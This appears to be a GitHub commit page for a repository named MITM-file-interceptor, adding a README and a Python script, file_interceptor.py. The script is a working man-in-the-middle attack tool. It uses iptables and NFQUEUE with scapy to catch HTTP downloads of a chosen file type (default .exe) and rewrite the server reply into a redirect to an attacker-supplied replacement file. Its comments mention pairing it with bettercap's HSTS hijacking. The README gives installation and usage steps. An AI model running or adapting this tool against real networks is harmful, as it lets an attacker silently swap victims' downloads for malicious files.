Skip to content

Commit 1927391

Browse files
committed
First commit.
0 parents  commit 1927391

File tree

9 files changed

+809
-0
lines changed

9 files changed

+809
-0
lines changed

.idea/.gitignore

Lines changed: 3 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/file_interceptor.iml

Lines changed: 10 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/inspectionProfiles/profiles_settings.xml

Lines changed: 6 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/misc.xml

Lines changed: 7 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

.idea/modules.xml

Lines changed: 8 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

LICENSE

Lines changed: 674 additions & 0 deletions
Large diffs are not rendered by default.

README.md

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
# MITM FIlE INTERCEPTOR/CHANGER
2+
3+
**DEPENDENCIES:**
4+
```
5+
python3
6+
python3-pip
7+
```
8+
9+
-------------------------------------------------------
10+
11+
**INSTALLATION:**
12+
```
13+
git clone https://github.com/ilolm/MITM-file-interceptor.git
14+
cd MITM-file-interceptor
15+
pip3 install -r requirements.txt
16+
chmod +x file_interceptor.py
17+
```
18+
19+
-------------------------------------------------------
20+
21+
**USAGE:**
22+
```
23+
Usage: sudo ./file_interceptor.py [options]
24+
25+
Options:
26+
-h, --help show this help message and exit
27+
-r REPLACEMENT, --replacement=REPLACEMENT
28+
Enter link to replacement file, EXAMPLE:
29+
http://domain.com/file.type
30+
-f FILE_TYPE, --filetype=FILE_TYPE
31+
Enter filetype you want to change to replacement,
32+
DEFAULT - exe
33+
```

file_interceptor.py

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
#!/usr/bin/env python3
2+
3+
import optparse
4+
import subprocess
5+
import netfilterqueue
6+
import scapy.all as scapy
7+
8+
9+
ack_list = []
10+
11+
def get_options():
12+
parser = optparse.OptionParser()
13+
parser.add_option("-r", "--replacement", dest="replacement", help="Enter link to replacement file,\nEXAMPLE: http://domain.com/file.type")
14+
parser.add_option("-f", "--filetype", dest="file_type", default="exe", help="Enter filetype you want to change to replacement, DEFAULT - exe")
15+
options = parser.parse_args()[0]
16+
17+
if not options.replacement:
18+
parser.error("\033[91m[-] Please specify a replacement file link. Use --help for more info.")
19+
return options
20+
21+
def prepare_iptables():
22+
# subprocess.call("iptables -I FORWARD -j NFQUEUE --queue-num 0", shell=True) # without bettercap
23+
24+
subprocess.call("iptables -I INPUT -j NFQUEUE --queue-num 0", shell=True) # with bettercap hstshijack caplet
25+
subprocess.call("iptables -I OUTPUT -j NFQUEUE --queue-num 0", shell=True) # with bettercap hstshijack caplet
26+
27+
def set_load(packet):
28+
packet[scapy.Raw].load = f"HTTP/1.1 301 Moved Permanently\nLocation: {options.replacement}\n\n"
29+
30+
del packet[scapy.IP].len
31+
del packet[scapy.IP].chksum
32+
del packet[scapy.TCP].chksum
33+
34+
return packet
35+
36+
def process_packet(packet):
37+
scapy_packet = scapy.IP(packet.get_payload())
38+
39+
if scapy_packet.haslayer(scapy.Raw) and scapy_packet.haslayer(scapy.TCP):
40+
if scapy_packet[scapy.TCP].dport == 8080: # Change to 80 if not using bettercap hstshijack
41+
if f".{options.file_type}" in str(scapy_packet[scapy.Raw].load) and options.replacement not in str(scapy_packet[scapy.Raw].load):
42+
print(f"\033[1;32;40m[+] {options.file_type} Request")
43+
ack_list.append(scapy_packet[scapy.TCP].ack)
44+
45+
elif scapy_packet[scapy.TCP].sport == 8080: # Change to 80 if not using bettercap hstshijack
46+
if scapy_packet[scapy.TCP].seq in ack_list:
47+
ack_list.remove(scapy_packet[scapy.TCP].seq)
48+
print("\033[1;32;40m[+] Replacing file")
49+
50+
modified_packet = set_load(scapy_packet)
51+
packet.set_payload(bytes(modified_packet))
52+
packet.accept()
53+
54+
def restore():
55+
print("\n\033[1;35;40m[+] Detected CTRL + C. Quiting.... Please wait!")
56+
subprocess.call("iptables --flush", shell=True)
57+
58+
59+
options = get_options()
60+
prepare_iptables()
61+
queue = netfilterqueue.NetfilterQueue()
62+
queue.bind(0, process_packet)
63+
try:
64+
queue.run()
65+
except KeyboardInterrupt:
66+
restore()

requirements.txt

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
scapy
2+
netfilterqueue

0 commit comments

Comments
 (0)